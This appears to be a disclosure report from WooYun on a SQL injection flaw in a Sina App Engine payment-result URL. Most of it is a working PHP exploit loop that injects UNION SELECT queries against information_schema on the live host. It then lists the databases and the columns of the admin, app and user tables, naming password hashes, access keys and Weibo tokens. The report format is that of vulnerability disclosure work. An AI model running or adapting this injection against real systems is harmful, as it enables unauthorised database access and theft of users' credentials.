WooYun.org

http://sae.sina.com.cn/pay/result/xft?sae_internal=1&may_fail=0&order_id=1

<?php
$url = "http://sae.sina.com.cn/pay/result/xft?sae_internal=1&may_fail=0&order_id=1'";
for ($i=0; $i < 1000; $i++) {  //很搓吧。。
	$res = explode("|",curlrequest($url.urlencode(" and 1=2 union select 1,concat(0x7c,COLUMN_NAME,0x7c),3,4,5 from information_schema.COLUMNS where TABLE_NAME='user' limit $i,1#")));
	echo $res[10]."\r\n";
}
省略curl定义

database:
information_schema
app_store
cron
cron2
cron_result
mysql_stat
sae
sae_java
sae_nodejs
swsUser
test
xweibo
admin表    ->   
id
sws_uid
name
password
email
timeline
role
s_mail
mobile
app表存放app相关信息，比如名称\accesskey  -->
name
cn_name
api_version
biz_type
desp
default_version
cname
create_uid
accesskey
group_name
pool_name
svn_url
status
timeline
mysql_port
old_status
hash
cookie
platform
lang
app_type
middle_type
icon
status_flags
delete_time
user表存放用户所有信息，uid、oauth、email、sae的二次安全密码  --> 
id
name
email
password_md5
mobile
tel
status
timeline
expires
sws_uid
old_status
level
deleted
money
platform
beans_level
mobile_verified
mobile_reverified
is_active
weibo_uid
weibo_name
email_verified
weibo_access_token
devlevel
vdun
olevel
level_endtime
level_notify
up_welcomed
appmid
is_qy_vendor
last_update
userName